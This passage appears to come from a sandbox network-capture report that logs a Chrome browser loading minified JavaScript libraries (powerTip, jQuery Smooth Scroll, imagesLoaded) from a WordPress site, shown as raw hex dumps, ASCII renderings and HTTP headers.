2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 32 2c 6e 3d 69 2e 74 6f 70 2b 72 3b 62 72 65 61 6b 3b 63 61 73 65 22 77 22 3a 6f 3d 69 2e 6c 65 66 74 2c 6e 3d 69 2e 74 6f 70 2b 72 2f 32 3b 62 72 65 61 6b 3b 63 61 73 65 22 6e 77 22 3a 6f 3d 69 2e 6c 65 66 74 2c 6e 3d 69 2e 74 6f 70 3b 62 72 65 61 6b 3b 63 61 73 65 22 6e 65 22 3a 6f 3d 69 2e 6c 65 66 74 2b 73 2c 6e 3d 69 2e 74 6f 70 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 77 22 3a 6f 3d 69 2e 6c 65 66 74 2c 6e 3d 69 2e 74 6f 70 2b 72 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 65 22 3a 6f 3d 69 2e 6c 65 66 74 2b 73 2c 6e 3d 69 2e 74 6f 70 2b 72 7d 72 65 74 75 72 6e 7b 74 6f 70 3a 6e 2c 6c 65 66 74 3a 6f 7d 7d 28 65 2c 61 29 2c 74 29 7b 63 61 73 65 22 6e 22 3a 6c 2e 73 65 74 28 22 6c 65 66 74 22 2c 73 2e 6c 65 66 74 2d 6f 2f 32 29 2c 6c 2e 73 65 74 28 22 62 6f Data Ascii: 2,n=i.top+r;break;case"w":o=i.left,n=i.top+r/2;break;case"nw":o=i.left,n=i.top;break;case"ne":o=i.left+s,n=i.top;break;case"sw":o=i.left,n=i.top+r;break;case"se":o=i.left+s,n=i.top+r}return{top:n,left:o}}(e,a),t){case"n":l.set("left",s.left-o/2),l.set("bo
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6e 67 3d 21 31 2c 49 2e 69 73 46 69 78 65 64 54 69 70 4f 70 65 6e 3d 21 31 2c 75 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 29 2c 65 2e 73 65 74 28 22 74 6f 70 22 2c 49 2e 63 75 72 72 65 6e 74 59 2b 63 2e 6f 66 66 73 65 74 29 2c 65 2e 73 65 74 28 22 6c 65 66 74 22 2c 49 2e 63 75 72 72 65 6e 74 58 2b 63 2e 6f 66 66 73 65 74 29 2c 75 2e 63 73 73 28 65 29 2c 74 2e 74 72 69 67 67 65 72 28 22 70 6f 77 65 72 54 69 70 43 6c 6f 73 65 22 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 76 61 72 20 65 2c 74 2c 6f 2c 6e 3b 21 49 2e 69 73 46 69 78 65 64 54 69 70 4f 70 65 6e 26 26 28 49 2e 69 73 54 69 70 4f 70 65 6e 7c 7c 49 2e 74 69 70 4f 70 65 6e 49 6d 6d 69 6e 65 6e 74 26 26 75 2e 64 61 74 61 28 69 29 29 26 26 28 65 3d 75 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 74 Data Ascii: ng=!1,I.isFixedTipOpen=!1,u.removeClass(),e.set("top",I.currentY+c.offset),e.set("left",I.currentX+c.offset),u.css(e),t.trigger("powerTipClose")})}function f(){var e,t,o,n;!I.isFixedTipOpen&&(I.isTipOpen\|\|I.tipOpenImminent&&u.data(i))&&(e=u.outerWidth(),t
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 61 28 54 29 7c 7c 49 2e 61 63 74 69 76 65 48 6f 76 65 72 2e 69 73 28 22 3a 64 69 73 61 62 6c 65 64 22 29 3f 65 3d 21 30 3a 58 28 49 2e 61 63 74 69 76 65 48 6f 76 65 72 29 7c 7c 49 2e 61 63 74 69 76 65 48 6f 76 65 72 2e 69 73 28 22 3a 66 6f 63 75 73 22 29 7c 7c 49 2e 61 63 74 69 76 65 48 6f 76 65 72 2e 64 61 74 61 28 67 29 7c 7c 75 2e 64 61 74 61 28 79 29 26 26 58 28 75 29 7c 7c 28 65 3d 21 30 29 2c 65 26 26 70 28 49 2e 61 63 74 69 76 65 48 6f 76 65 72 29 29 7d 30 3d 3d 3d 75 2e 6c 65 6e 67 74 68 26 26 28 75 3d 68 28 22 3c 64 69 76 2f 3e 22 2c 7b 69 64 3a 63 2e 70 6f 70 75 70 49 64 7d 29 2c 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 26 26 28 65 3d 68 28 22 62 6f 64 79 22 29 29 2c 65 2e 61 70 70 65 6e 64 28 75 29 2c 49 2e 74 6f 6f 6c 74 69 70 73 3d 49 2e 74 6f Data Ascii: ta(T)\|\|I.activeHover.is(":disabled")?e=!0:X(I.activeHover)\|\|I.activeHover.is(":focus")\|\|I.activeHover.data(g)\|\|u.data(y)&&X(u)\|\|(e=!0),e&&p(I.activeHover))}0===u.length&&(u=h("<div/>",{id:c.popupId}),0===e.length&&(e=h("body")),e.append(u),I.tooltips=I.to
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 63 54 69 6d 65 6f 75 74 7c 7c 28 49 2e 64 65 73 79 6e 63 54 69 6d 65 6f 75 74 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 64 2c 35 30 30 29 29 2c 6f 2e 74 72 69 67 67 65 72 28 22 70 6f 77 65 72 54 69 70 4f 70 65 6e 22 29 7d 29 29 7d 7d 28 6f 29 2c 65 28 29 7d 29 7d 2c 74 68 69 73 2e 68 69 64 65 54 69 70 3d 70 2c 74 68 69 73 2e 72 65 73 65 74 50 6f 73 69 74 69 6f 6e 3d 77 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 2d 31 3c 68 2e 69 6e 41 72 72 61 79 28 65 2e 74 79 70 65 2c 74 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 70 61 67 65 58 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 49 2e 73 63 72 6f 6c 6c 4c 65 66 74 3d 6e 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 2c 49 2e 73 63 72 6f 6c 6c Data Ascii: cTimeout\|\|(I.desyncTimeout=setInterval(d,500)),o.trigger("powerTipOpen")}))}}(o),e()})},this.hideTip=p,this.resetPosition=w}function p(e){return Boolean(e&&-1<h.inArray(e.type,t)&&"number"==typeof e.pageX)}function f(){I.scrollLeft=n.scrollLeft(),I.scroll
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6d 6f 76 65 22 2b 50 2c 43 29 2c 6e 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2b 50 2c 77 29 2c 6e 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2b 50 2c 64 29 29 2c 6f 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 68 28 74 68 69 73 29 2c 74 3d 65 2e 64 61 74 61 28 62 29 2c 6f 3d 65 2e 64 61 74 61 28 48 29 2c 6e 3d 65 2e 64 61 74 61 28 6b 29 2c 69 3d 65 2e 61 74 74 72 28 22 74 69 74 6c 65 22 29 3b 74 7c 7c 6e 7c 7c 6f 7c 7c 21 69 7c 7c 28 65 2e 64 61 74 61 28 62 2c 69 29 2c 65 2e 64 61 74 61 28 61 2c 69 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 28 22 74 69 74 6c 65 22 29 29 2c 65 2e 64 61 74 61 28 6d 2c 6e 65 77 20 63 28 65 2c 73 2c 72 29 29 7d 29 2c 73 2e 6d 61 6e 75 61 6c 7c 7c 28 68 2e 65 61 63 68 28 73 2e 6f 70 65 6e 45 76 65 6e 74 73 2c 66 75 Data Ascii: move"+P,C),n.on("resize"+P,w),n.on("scroll"+P,d)),o.each(function(){var e=h(this),t=e.data(b),o=e.data(H),n=e.data(k),i=e.attr("title");t\|\|n\|\|o\|\|!i\|\|(e.data(b,i),e.data(a,i),e.removeAttr("title")),e.data(m,new c(e,s,r))}),s.manual\|\|(h.each(s.openEvents,fu
2024-04-11 21:26:43 UTC	1160	IN	Data Raw: 22 2c 22 77 22 5d 2c 22 73 77 2d 61 6c 74 22 3a 5b 22 73 77 2d 61 6c 74 22 2c 22 73 22 2c 22 73 65 2d 61 6c 74 22 2c 22 6e 77 2d 61 6c 74 22 2c 22 6e 22 2c 22 6e 65 2d 61 6c 74 22 2c 22 77 22 2c 22 65 22 5d 2c 22 73 65 2d 61 6c 74 22 3a 5b 22 73 65 2d 61 6c 74 22 2c 22 73 22 2c 22 73 77 2d 61 6c 74 22 2c 22 6e 65 2d 61 6c 74 22 2c 22 6e 22 2c 22 6e 77 2d 61 6c 74 22 2c 22 65 22 2c 22 77 22 5d 7d 2c 68 2e 70 6f 77 65 72 54 69 70 3d 7b 73 68 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 70 28 74 29 3f 28 43 28 74 29 2c 49 2e 70 72 65 76 69 6f 75 73 58 3d 74 2e 70 61 67 65 58 2c 49 2e 70 72 65 76 69 6f 75 73 59 3d 74 2e 70 61 67 65 59 2c 68 28 65 29 2e 64 61 74 61 28 6d 29 2e 73 68 6f 77 28 29 29 3a 68 28 65 29 2e 66 69 72 73 74 28 Data Ascii: ","w"],"sw-alt":["sw-alt","s","se-alt","nw-alt","n","ne-alt","w","e"],"se-alt":["se-alt","s","sw-alt","ne-alt","n","nw-alt","e","w"]},h.powerTip={show:function(e,t){return p(t)?(C(t),I.previousX=t.pageX,I.previousY=t.pageY,h(e).data(m).show()):h(e).first(
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	49825	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	909	OUT	GET /wp-content/themes/edumall/assets/libs/smooth-scroll/jquery.smooth-scroll.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
2024-04-11 21:26:43 UTC	945	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7928ed424b-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-ee1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JU%2FTQsINmU%2BDlAry8%2FAD4Gj49pa2Iv0fZSXmvBw4L6PASDojWY9drj%2BdheIg92sMq7PgKBNKZiJX8po28MlF0y1SsqD5lip5%2BE8XoUs2D10huTLHv%2F8pDDF1pxLH64CusBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	424	IN	Data Raw: 65 65 31 0d 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 53 6d 6f 6f 74 68 20 53 63 72 6f 6c 6c 20 2d 20 76 32 2e 32 2e 30 20 2d 20 32 30 31 37 2d 30 35 2d 30 35 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6b 73 77 65 64 62 65 72 67 2f 6a 71 75 65 72 79 2d 73 6d 6f 6f 74 68 2d 73 63 72 6f 6c 6c 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 4b 61 72 6c 20 53 77 65 64 62 65 72 67 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 61 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: ee1/! jQuery Smooth Scroll - v2.2.0 - 2017-05-05 * https://github.com/kswedberg/jquery-smooth-scroll * Copyright (c) 2017 Karl Swedberg * Licensed MIT */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 63 72 6f 6c 6c 54 61 72 67 65 74 3a 6e 75 6c 6c 2c 61 75 74 6f 46 6f 63 75 73 3a 21 31 2c 62 65 66 6f 72 65 53 63 72 6f 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 66 74 65 72 53 63 72 6f 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 61 73 69 6e 67 3a 22 73 77 69 6e 67 22 2c 73 70 65 65 64 3a 34 30 30 2c 61 75 74 6f 43 6f 65 66 66 69 63 69 65 6e 74 3a 32 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3a 21 30 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3d 21 31 2c 65 3d 62 2e 64 69 72 26 26 22 6c 65 66 74 22 3d 3d 3d 62 2e 64 69 72 3f 22 73 63 72 6f 6c 6c 4c 65 66 74 22 3a 22 73 63 72 6f 6c 6c 54 6f 70 22 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 61 Data Ascii: crollTarget:null,autoFocus:!1,beforeScroll:function(){},afterScroll:function(){},easing:"swing",speed:400,autoCoefficient:2,preventDefault:!0},d=function(b){var c=[],d=!1,e=b.dir&&"left"===b.dir?"scrollLeft":"scrollTop";return this.each(function(){var b=a
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 68 53 63 72 6f 6c 6c 2e 66 69 6c 74 65 72 50 61 74 68 28 65 2e 70 61 74 68 6e 61 6d 65 29 2c 70 3d 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 3d 3d 3d 65 2e 68 6f 73 74 6e 61 6d 65 7c 7c 21 65 2e 68 6f 73 74 6e 61 6d 65 2c 71 3d 67 2e 73 63 72 6f 6c 6c 54 61 72 67 65 74 7c 7c 6f 3d 3d 3d 6e 2c 72 3d 63 28 65 2e 68 61 73 68 29 3b 69 66 28 72 26 26 21 61 28 72 29 2e 6c 65 6e 67 74 68 26 26 28 6c 3d 21 31 29 2c 67 2e 73 63 72 6f 6c 6c 54 61 72 67 65 74 7c 7c 70 26 26 71 26 26 72 29 7b 66 6f 72 28 3b 6c 26 26 6a 3c 68 2e 6c 65 6e 67 74 68 3b 29 66 2e 69 73 28 63 28 68 5b 6a 2b 2b 5d 29 29 26 26 28 6c 3d 21 31 29 3b 66 6f 72 28 3b 6c 26 26 6b 3c 69 2e 6c 65 6e 67 74 68 3b 29 66 2e 63 6c 6f 73 65 73 74 28 69 5b 6b 2b 2b 5d 29 2e 6c 65 6e 67 74 68 26 26 Data Ascii: hScroll.filterPath(e.pathname),p=location.hostname===e.hostname\|\|!e.hostname,q=g.scrollTarget\|\|o===n,r=c(e.hash);if(r&&!a(r).length&&(l=!1),g.scrollTarget\|\|p&&q&&r){for(;l&&j<h.length;)f.is(c(h[j++]))&&(l=!1);for(;l&&k<i.length;)f.closest(i[k++]).length&&
2024-04-11 21:26:43 UTC	654	IN	Data Raw: 6c 6c 45 6c 65 6d 65 6e 74 2c 6b 2e 70 78 7c 7c 2f 5e 28 3f 3a 48 54 4d 4c 7c 42 4f 44 59 29 24 2f 2e 74 65 73 74 28 68 5b 30 5d 2e 6e 6f 64 65 4e 61 6d 65 29 7c 7c 28 6d 3d 68 5b 6f 5d 28 29 29 29 3a 68 3d 61 28 22 68 74 6d 6c 2c 20 62 6f 64 79 22 29 2e 66 69 72 73 74 53 63 72 6f 6c 6c 61 62 6c 65 28 65 2e 64 69 72 65 63 74 69 6f 6e 29 2c 65 2e 62 65 66 6f 72 65 53 63 72 6f 6c 6c 2e 63 61 6c 6c 28 68 2c 65 29 2c 6c 3d 6b 2e 70 78 3f 6b 3a 7b 72 65 6c 61 74 69 76 65 3a 22 22 2c 70 78 3a 61 28 65 2e 73 63 72 6f 6c 6c 54 61 72 67 65 74 29 5b 6e 5d 28 29 26 26 61 28 65 2e 73 63 72 6f 6c 6c 54 61 72 67 65 74 29 5b 6e 5d 28 29 5b 65 2e 64 69 72 65 63 74 69 6f 6e 5d 7c 7c 30 7d 2c 70 5b 6f 5d 3d 6c 2e 72 65 6c 61 74 69 76 65 2b 28 6c 2e 70 78 2b 6d 2b 65 2e 6f Data Ascii: llElement,k.px\|\|/^(?:HTML\|BODY)$/.test(h[0].nodeName)\|\|(m=h[o]())):h=a("html, body").firstScrollable(e.direction),e.beforeScroll.call(h,e),l=k.px?k:{relative:"",px:a(e.scrollTarget)[n]()&&a(e.scrollTarget)[n]()[e.direction]\|\|0},p[o]=l.relative+(l.px+m+e.o
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.17	49827	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	864	OUT	GET /wp-includes/js/imagesloaded.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
2024-04-11 21:26:43 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e796ea67ca6-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5ee558e6-15fd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 13 Jun 2020 22:53:26 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rk1%2F5MqlNc9g6Dv8OV4M%2FYmbAHO5m4MdTnCxhmxeTXsr4LyygF0CuKoVB6mShVB9Y0d3WPV2sJtwMIqMfuVVqz5m9%2B%2FXZrAzZyFAulpYA%2BqiyqVYjKY7SFDkgkNBLvNmwW0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	425	IN	Data Raw: 31 35 66 64 0d 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2a 21 0a 20 2a 20 69 6d 61 67 65 73 4c 6f 61 64 65 64 20 50 41 43 4b 41 47 45 44 20 76 34 2e 31 2e 34 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 69 73 20 61 6c 6c 20 6c 69 6b 65 20 22 59 6f 75 20 69 6d 61 67 65 73 20 61 72 65 20 64 6f 6e 65 20 79 65 74 20 6f 72 20 77 68 61 74 3f 22 0a 20 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 65 76 2d 65 6d 69 74 74 65 72 2f 65 76 2d 65 6d 69 74 74 65 72 22 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d Data Ascii: 15fd/! This file is auto-generated //! imagesLoaded PACKAGED v4.1.4 * JavaScript is all like "You images are done yet or what?" * MIT License */!function(e,t){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",t):"object"==
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 2c 74 29 7b 69 66 28 65 26 26 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 7c 7c 7b 7d 2c 6e 3d 69 5b 65 5d 3d 69 5b 65 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 2e 69 6e 64 65 78 4f 66 28 74 29 3d 3d 2d 31 26 26 6e 2e 70 75 73 68 28 74 29 2c 74 68 69 73 7d 7d 2c 74 2e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 26 26 74 29 7b 74 68 69 73 2e 6f 6e 28 65 2c 74 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 6f 6e 63 65 45 76 65 6e 74 73 3d 74 68 69 73 2e 5f 6f 6e 63 65 45 76 65 6e 74 73 7c 7c 7b 7d 2c 6e 3d 69 5b 65 5d 3d 69 5b 65 5d 7c 7c 7b 7d 3b 72 65 74 75 72 6e 20 6e 5b 74 5d 3d 21 30 2c 74 68 69 73 7d 7d 2c 74 2e 6f 66 66 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ,t){if(e&&t){var i=this._events=this._events\|\|{},n=i[e]=i[e]\|\|[];return n.indexOf(t)==-1&&n.push(t),this}},t.once=function(e,t){if(e&&t){this.on(e,t);var i=this._onceEvents=this._onceEvents\|\|{},n=i[e]=i[e]\|\|{};return n[t]=!0,this}},t.off=function(e,t){var
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 69 73 2e 6f 6e 28 22 61 6c 77 61 79 73 22 2c 72 29 2c 74 68 69 73 2e 67 65 74 49 6d 61 67 65 73 28 29 2c 68 26 26 28 74 68 69 73 2e 6a 71 44 65 66 65 72 72 65 64 3d 6e 65 77 20 68 2e 44 65 66 65 72 72 65 64 29 2c 76 6f 69 64 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 63 68 65 63 6b 2e 62 69 6e 64 28 74 68 69 73 29 29 29 3a 76 6f 69 64 20 61 2e 65 72 72 6f 72 28 22 42 61 64 20 65 6c 65 6d 65 6e 74 20 66 6f 72 20 69 6d 61 67 65 73 4c 6f 61 64 65 64 20 22 2b 28 73 7c 7c 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 74 68 69 73 2e 69 6d 67 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 74 68 69 73 2e 75 72 6c 3d 65 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 69 6d 67 3d 6e 65 77 20 49 6d 61 67 65 7d 76 61 72 20 68 Data Ascii: is.on("always",r),this.getImages(),h&&(this.jqDeferred=new h.Deferred),void setTimeout(this.check.bind(this))):void a.error("Bad element for imagesLoaded "+(s\|\|e))}function r(e){this.img=e}function s(e,t){this.url=e,this.element=t,this.img=new Image}var h
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 73 73 28 65 2c 69 2c 6e 29 7d 29 7d 76 61 72 20 74 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 67 72 65 73 73 65 64 43 6f 75 6e 74 3d 30 2c 74 68 69 73 2e 68 61 73 41 6e 79 42 72 6f 6b 65 6e 3d 21 31 2c 74 68 69 73 2e 69 6d 61 67 65 73 2e 6c 65 6e 67 74 68 3f 76 6f 69 64 20 74 68 69 73 2e 69 6d 61 67 65 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 6f 6e 63 65 28 22 70 72 6f 67 72 65 73 73 22 2c 65 29 2c 74 2e 63 68 65 63 6b 28 29 7d 29 3a 76 6f 69 64 20 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 28 29 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 67 72 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 74 68 69 73 2e 70 72 6f 67 72 65 73 73 65 64 43 6f 75 6e 74 2b 2b 2c 74 68 69 73 2e 68 61 73 41 6e Data Ascii: ss(e,i,n)})}var t=this;return this.progressedCount=0,this.hasAnyBroken=!1,this.images.length?void this.images.forEach(function(t){t.once("progress",e),t.check()}):void this.complete()},o.prototype.progress=function(e,t,i){this.progressedCount++,this.hasAn
2024-04-11 21:26:43 UTC	1105	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 6f 6e 22 2b 65 2e 74 79 70 65 3b 74 68 69 73 5b 74 5d 26 26 74 68 69 73 5b 74 5d 28 65 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 72 6d 28 21 30 2c 22 6f 6e 6c 6f 61 64 22 29 2c 74 68 69 73 2e 75 6e 62 69 6e 64 45 76 65 6e 74 73 28 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 72 6d 28 21 31 2c 22 6f 6e 65 72 72 6f 72 22 29 2c 74 68 69 73 2e 75 6e 62 69 6e 64 45 76 65 6e 74 73 28 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 75 6e 62 69 6e 64 45 76 65 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 78 79 49 6d 61 Data Ascii: unction(e){var t="on"+e.type;this[t]&&this[t](e)},r.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},r.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},r.prototype.unbindEvents=function(){this.proxyIma
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.17	49826	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	891	OUT	GET /wp-content/themes/edumall/assets/libs/swiper/js/swiper.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
